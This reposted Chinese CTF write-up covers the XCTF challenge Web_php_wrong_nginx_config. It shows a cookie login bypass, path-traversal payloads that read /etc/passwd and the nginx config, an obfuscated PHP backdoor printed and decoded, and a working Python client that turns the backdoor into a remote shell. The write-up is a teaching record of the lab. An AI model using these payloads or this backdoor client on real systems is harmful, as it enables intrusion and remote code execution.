攻防世界-web-Web_php_wrong_nginx_config(绕过登录、目录浏览、后门利用)

摘要:
进入场景后,系统将提示您登录并尝试打开robots.txt页面。您将找到两个隐藏页面:hint.php和Hack.php,以依次访问hint.php。提示:配置文件/etc/nginx/sites-enabled/site.conf可能有问题,无法访问Hack.php。您需要登录,但无法使用登录功能点。捕获数据包,找到cookie字段isLogin=0,猜测将其更改为1以绕过登录。q=$uri和$args;fastcgi_split_path_info^(/.+)$;fastcgi_passunix:/var/run/php/php5.6-fpm.sock;fastcgi_paramSCRIPT_FILENAME$document_root$fastcgi_script_name;fastcgi_paramSCRIPT_NAME$fastcgi_script_NAME;fastcgi_indexindex.php;包括默认cgi_参数;fastcgi_paramREMOTE_地址$http_x_forwarded_ for;}位置~/。{log_not_foundoff;denyall;}location/web img{alias/images/;autoindexon;}位置~*.${denyall;}包含/var/www/nginx[.]conf;}发现/web img可以用于目录浏览。这里的url解析为/web-img,因此构造的路径需要直接添加到后面,并且不需要逐个添加/access-web-img/Try。我们找到了hack.hp.bak并单击链接下载它。内容如下˂?

进入场景后,提示需要登录

攻防世界-web-Web_php_wrong_nginx_config(绕过登录、目录浏览、后门利用)第1张

尝试打开robots.txt页面,发现2个隐藏页面:hint.php和Hack.php

攻防世界-web-Web_php_wrong_nginx_config(绕过登录、目录浏览、后门利用)第2张 

依次访问

访问hint.php,提示:配置文件也许有问题呀:/etc/nginx/sites-enabled/site.conf

访问Hack.php,无法访问,要求登录,但是登录功能点无法使用,抓包,发现cookie字段isLogin=0,猜测修改为1可绕过登录。

修改为isLogin=1后,成功访问

攻防世界-web-Web_php_wrong_nginx_config(绕过登录、目录浏览、后门利用)第3张

尝试了一遍,发现只有管理中心链接可以跳转

跳转到如下页面

http://220.249.52.133:47368/admin/admin.php?file=index&ext=php

攻防世界-web-Web_php_wrong_nginx_config(绕过登录、目录浏览、后门利用)第4张

应该是文件包含

  • 尝试file=../../../../etc/passwd&ext=,页面除了少了please continue之外没有变化
  • 尝试file=index./&ext=php,页面没有please continue
  • 尝试file=index../&ext=php,页面有please continue
  • 尝试file=index.../&ext=php,页面有please continue

有两种情况,一种是过滤了./,另一种是过滤了../,但第一次尝试,读取不成功,返回的页面中没有please continue,所以应该是过滤了../

使用..././绕过过滤

尝试访问file=..././..././..././..././etc/nginx/sites-enabled/site.conf&ext=,成功找到配置文件。

攻防世界-web-Web_php_wrong_nginx_config(绕过登录、目录浏览、后门利用)第5张

我们可以看到配置文件内容如下

server { 
listen 8080; 
## listen for ipv4; this line is default and implied listen [::]:8080; 
## listen for ipv6 root /var/www/html; 
index index.php index.html index.htm; 
port_in_redirect off; 
server_name _; 
# Make site accessible from http://localhost/ 
#server_name localhost; 
# If block for setting the time for the logfile if ($time_iso8601 ~ "^(d{4})-(d{2})-(d{2})") { set $year $1; set $month $2; set $day $3; } 
# Disable sendfile as per https://docs.vagrantup.com/v2/synced-folders/virtualbox.html 
sendfile off; 
set $http_x_forwarded_for_filt $http_x_forwarded_for; 
if ($http_x_forwarded_for_filt ~ ([0-9]+.[0-9]+.[0-9]+.)[0-9]+) 
{ set $http_x_forwarded_for_filt $1???; } 
# Add stdout logging access_log /var/log/nginx/$hostname-access-$year-$month-$day.log openshift_log; error_log /var/log/nginx/error.log info; 
location / { 
# First attempt to serve request as file, then 
# as directory, then fall back to index.html 
try_files $uri $uri/ /index.php?q=$uri&$args; 
server_tokens off; 
} 
#error_page 404 /404.html; 
# redirect server error pages to the static page /50x.html 
# error_page 500 502 503 504 /50x.html; 
location = /50x.html { 
root /usr/share/nginx/html; 
} 

location ~ .php
$ { 
try_files $uri $uri/ /index.php?q=$uri&$args; 
fastcgi_split_path_info ^(.+.php)(/.+)$; 
fastcgi_pass unix:/var/run/php/php5.6-fpm.sock; 
fastcgi_param SCRIPT_FILENAME $document_root$fastcgi_script_name; 
fastcgi_param SCRIPT_NAME $fastcgi_script_name; 
fastcgi_index index.php; include fastcgi_params; 
fastcgi_param REMOTE_ADDR $http_x_forwarded_for; 
} 

location ~ /. { 
log_not_found off; 
deny all; 
} 

location /web-img { 
alias /images/; 
autoindex on; 
} 

location ~* .(ini|docx|pcapng|doc)$ { deny all; } 

include /var/www/nginx[.]conf; 

} 

发现/web-img可以进行目录浏览,这里的url解析为/web-img,所以构造的路径需要直接添加在后,不需要再添加/

访问web-img../

攻防世界-web-Web_php_wrong_nginx_config(绕过登录、目录浏览、后门利用)第6张

依次尝试,我们找到了hack.php.bak

攻防世界-web-Web_php_wrong_nginx_config(绕过登录、目录浏览、后门利用)第7张 

点击链接将其下载下来,内容如下

<?php
$U='_/|U","/-/|U"),ar|Uray|U("/|U","+"),$ss(|U$s[$i]|U,0,$e)|U)),$k))|U|U);$o|U|U=o|Ub_get_|Ucontents(|U);|Uob_end_cle';
$q='s[|U$i]="";$p=|U$ss($p,3);}|U|Uif(array_k|Uey_|Uexis|Uts($|Ui,$s)){$s[$i].=|U$p|U;|U$e=|Ustrpos($s[$i],$f);|Ui';
$M='l="strtolower|U";$i=$m|U[1|U][0].$m[1]|U[1];$|U|Uh=$sl($ss(|Umd5($i|U.$kh),|U0,3|U));$f=$s|Ul($ss(|Umd5($i.$';
$z='r=@$r[|U"HTTP_R|UEFERER|U"];$r|U|Ua=@$r["HTTP_A|U|UCCEPT_LAN|UGUAGE|U"];if|U($r|Ur&|U&$ra){$u=parse_|Uurl($r';
$k='?:;q=0.([\|Ud]))?,|U?/",$ra,$m)|U;if($|Uq&&$m){|U|U|U@session_start()|U|U;$s=&$_SESSIO|UN;$ss="|Usubst|Ur";|U|U$s';
$o='|U$l;|U){for|U($j=0;($j|U<$c&&|U|U$i|U<$|Ul);$j++,$i++){$o.=$t{$i}|U^$k|U{$j};}}|Ureturn $|Uo;}$r=$|U_SERV|UE|UR;$r';
$N='|Uf($e){$k=$k|Uh.$kf|U;ob_sta|Urt();|U@eva|Ul(@g|Uzuncom|Upress(@x(@|Ubas|U|Ue64_decode(preg|U_repla|Uce(|Uarray("/';
$C='an();$d=b|Uase64_encode(|Ux|U(gzcomp|U|Uress($o),$k))|U;prin|Ut("|U<$k>$d</$k>"|U);@ses|U|Usion_des|Utroy();}}}}';
$j='$k|Uh="|U|U42f7";$kf="e9ac";fun|Uction|U |Ux($t,$k){$c|U=|Ustrlen($k);$l=s|Utrl|Ue|Un($t);$o=|U"";fo|Ur($i=0;$i<';
$R=str_replace('rO','','rOcreatrOe_rOrOfurOncrOtion');
$J='kf|U),|U0,3));$p="|U";for(|U|U$|Uz=1;$z<cou|Unt|U($m[1]);|U$z++)$p.=|U$q[$m[2][$z|U]|U];if(strpos(|U$|U|Up,$h)|U===0){$';
$x='r)|U;pa|Urse|U_str($u["qu|U|Uery"],$q);$|U|Uq=array_values(|U$q);pre|Ug|U_match_al|Ul("/([\|U|Uw])[|U\w-]+|U(';
$f=str_replace('|U','',$j.$o.$z.$x.$k.$M.$J.$q.$N.$U.$C);
$g=create_function('',$f);
$g();
?>

代码经过了混淆,我们输出$f看看

攻防世界-web-Web_php_wrong_nginx_config(绕过登录、目录浏览、后门利用)第8张

将输出美化后如下

<?php
$kh="42f7";
$kf="e9ac";
function x($t,$k) {
    $c=strlen($k);
    $l=strlen($t);
    $o="";
    for ($i=0;$i<$l;) {
        for ($j=0;($j<$c&&$i<$l);$j++,$i++) {
            $o.=$t {
                $i
            }
            ^$k {
                $j
            }
            ;
        }
    }
    return $o;
}
$r=$_SERVER;
$rr=@$r["HTTP_REFERER"];
$ra=@$r["HTTP_ACCEPT_LANGUAGE"];
if($rr&&$ra) {
    $u=parse_url($rr);
    parse_str($u["query"],$q);
    $q=array_values($q);
    preg_match_all("/([w])[w-]+(?:;q=0.([d]))?,?/",$ra,$m);
    if($q&&$m) {
        @session_start();
        $s=&$_SESSION;
        $ss="substr";
        $sl="strtolower";
        $i=$m[1][0].$m[1][1];
        $h=$sl($ss(md5($i.$kh),0,3));
        $f=$sl($ss(md5($i.$kf),0,3));
        $p="";
        for ($z=1;$z<count($m[1]);$z++)$p.=$q[$m[2][$z]];
        if(strpos($p,$h)===0) {
            $s[$i]="";
            $p=$ss($p,3);
        }
        if(array_key_exists($i,$s)) {
            $s[$i].=$p;
            $e=strpos($s[$i],$f);
            if($e) {
                $k=$kh.$kf;
                ob_start();
                @eval(@gzuncompress(@x(@base64_decode(preg_replace(array("/_/","/-/"),array("/","+"),$ss($s[$i],0,$e))),$k)));
                $o=ob_get_contents();
                ob_end_clean();
                $d=base64_encode(x(gzcompress($o),$k));
                print("<$k>$d</$k>");
                @session_destroy();
            }
        }
    }
}
?>

好吧,还有第二层混淆,具体的解释可以看大佬的博客

附大佬的脚本和结果

攻防世界-web-Web_php_wrong_nginx_config(绕过登录、目录浏览、后门利用)第9张攻防世界-web-Web_php_wrong_nginx_config(绕过登录、目录浏览、后门利用)第10张
# encoding: utf-8


from random import randint, choice
from hashlib import md5
import urllib
import string
import zlib
import base64
import requests
import re


def choicePart(seq, amount):
    length = len(seq)
    if length == 0 or length < amount:
        print 'Error Input'
        return None
    result = []
    indexes = []
    count = 0
    while count < amount:
        i = randint(0, length - 1)
        if not i in indexes:
            indexes.append(i)
            result.append(seq[i])
            count += 1
            if count == amount:
                return result


def randBytesFlow(amount):
    result = ''
    for i in xrange(amount):
        result += chr(randint(0, 255))
    return result


def randAlpha(amount):
    result = ''
    for i in xrange(amount):
        result += choice(string.ascii_letters)
    return result


def loopXor(text, key):
    result = ''
    lenKey = len(key)
    lenTxt = len(text)
    iTxt = 0
    while iTxt < lenTxt:
        iKey = 0
        while iTxt < lenTxt and iKey < lenKey:
            result += chr(ord(key[iKey]) ^ ord(text[iTxt]))
            iTxt += 1
            iKey += 1
    return result


def debugPrint(msg):
    if debugging:
        print msg


# config
debugging = False
keyh = "42f7"  # $kh
keyf = "e9ac"  # $kf
xorKey = keyh + keyf
url = 'http://220.249.52.133:47368/hack.php'
defaultLang = 'zh-CN'
languages = ['zh-TW;q=0.%d', 'zh-HK;q=0.%d', 'en-US;q=0.%d', 'en;q=0.%d']
proxies = None  # {'http':'http://127.0.0.1:8080'} # proxy for debug

sess = requests.Session()

# generate random Accept-Language only once each session
langTmp = choicePart(languages, 3)
indexes = sorted(choicePart(range(1, 10), 3), reverse=True)

acceptLang = [defaultLang]
for i in xrange(3):
    acceptLang.append(langTmp[i] % (indexes[i],))
acceptLangStr = ','.join(acceptLang)
debugPrint(acceptLangStr)

init2Char = acceptLang[0][0] + acceptLang[1][0]  # $i
md5head = (md5(init2Char + keyh).hexdigest())[0:3]
md5tail = (md5(init2Char + keyf).hexdigest())[0:3] + randAlpha(randint(3, 8))
debugPrint('$i is %s' % (init2Char))
debugPrint('md5 head: %s' % (md5head,))
debugPrint('md5 tail: %s' % (md5tail,))

# Interactive php shell
cmd = raw_input('phpshell > ')
while cmd != '':
    # build junk data in referer
    query = []
    for i in xrange(max(indexes) + 1 + randint(0, 2)):
        key = randAlpha(randint(3, 6))
        value = base64.urlsafe_b64encode(randBytesFlow(randint(3, 12)))
        query.append((key, value))
    debugPrint('Before insert payload:')
    debugPrint(query)
    debugPrint(urllib.urlencode(query))

    # encode payload
    payload = zlib.compress(cmd)
    payload = loopXor(payload, xorKey)
    payload = base64.urlsafe_b64encode(payload)
    payload = md5head + payload

    # cut payload, replace into referer
    cutIndex = randint(2, len(payload) - 3)
    payloadPieces = (payload[0:cutIndex], payload[cutIndex:], md5tail)
    iPiece = 0
    for i in indexes:
        query[i] = (query[i][0], payloadPieces[iPiece])
        iPiece += 1
    referer = url + '?' + urllib.urlencode(query)
    debugPrint('After insert payload, referer is:')
    debugPrint(query)
    debugPrint(referer)

    # send request
    r = sess.get(url, headers={'Accept-Language': acceptLangStr, 'Referer': referer}, proxies=proxies)
    html = r.text
    debugPrint(html)

    # process response
    pattern = re.compile(r'<%s>(.*)</%s>' % (xorKey, xorKey))
    output = pattern.findall(html)
    if len(output) == 0:
        print 'Error,  no backdoor response'
        cmd = raw_input('phpshell > ')
        continue
    output = output[0]
    debugPrint(output)
    output = output.decode('base64')
    output = loopXor(output, xorKey)
    output = zlib.decompress(output)
    print output
    cmd = raw_input('phpshell > ')
View Code

攻防世界-web-Web_php_wrong_nginx_config(绕过登录、目录浏览、后门利用)第11张

参考:

https://www.cnblogs.com/go2bed/p/5920811.html

https://www.cnblogs.com/R3col/p/13390419.html

免责声明:文章转载自《攻防世界-web-Web_php_wrong_nginx_config(绕过登录、目录浏览、后门利用)》仅用于学习参考。如对内容有疑问,请及时联系本站处理。

上篇C#调用java类、jar包方法。CSS中如何把Span标签设置为固定宽度下篇

宿迁高防,2C2G15M,22元/月;香港BGP,2C5G5M,25元/月 雨云优惠码:MjYwNzM=

相关文章

攻防世界-web-i-got-id-200(perl文件上传+ARGV造成任意文件读取和任意命令执行)

题目来源:csaw-ctf-2016-quals 题目描述:嗯。。我刚建好了一个网站 进入场景后有3个链接,点进去都是.pl文件,.pl文件都是用perl编写的网页文件。 尝试后发现,Files链接可以上传文件并把文件内容打印出来。猜想后台应该用了param()函数。 param()函数会返回一个列表的文件但是只有第一个文件会被放入到下面的接收变量中。如...

MQTT 简介及协议原理

MQTT(Message Queuing Telemetry Transport,消息队列遥测传输协议),是一种构建于TCP/IP协议上基于发布/订阅(publish/subscribe)模式的“轻量级”通讯协议,该协议由IBM在1999年发布。MQTT最大优点在于,可以以极少的代码和有限的带宽,为连接远程设备提供实时可靠的消息服务。做为一种低开销、低带宽...

JSON WEB TOKEN(JWT)的分析

JSON WEB TOKEN(JWT)的分析 一般情况下,客户的会话数据会存在文件中,或者引入redis来存储,实现session的管理,但是这样操作会存在一些问题,使用文件来存储的时候,在多台机器上,比较难实现共享,使用redis来存储的时候,则需要引入多一个集群,这样会增加管理的工作量,也不方便。有一个直观的办法,就是将session数据,存储在客户端...

web安全学习笔记(三):BurpSuite下的Intruder模块

----------------开始---------------- 0x01:前言         今天学习了BurpSuite下的Intruder模块,这也算是这款工具核心了,只要你会配置,可以做很多模糊测试,简直强大。之前一直用owasp的工具去做暴力破解,用着感觉还不顺手,有些地方不满足。决定研究一下Intruder模块,毕竟这款强大的工具会满足你...

浅谈json web token及应用

Json Web Token (JWT),是一个非常轻巧的规范,这个规范允许在网络应用环境间客户端和服务器间较安全的传递信息。该token被设计为紧凑且安全的,特别适用于分布式站点的单点登录(SSO)场景。JWT一般被用来在身份提供者和服务提供者间传递被认证的用户身份信息,以便于从资源服务器获取资源。 在web应用中,我们提供的API接口,通过GET或者...

一步一步实现iOS应用PUSH功能

1. push原理 iOS push 工作机制可以用下图简要概括 Provider:应用自己的服务器; APNS:Apple Push Notification Service的简称,苹果的PUSH服务器; push的主要工作流程是: iOS设备连接网络后,会自动与APNS保持类似TCP的长链接,等待APNS推送消息的到来; 应用启动时注册消息...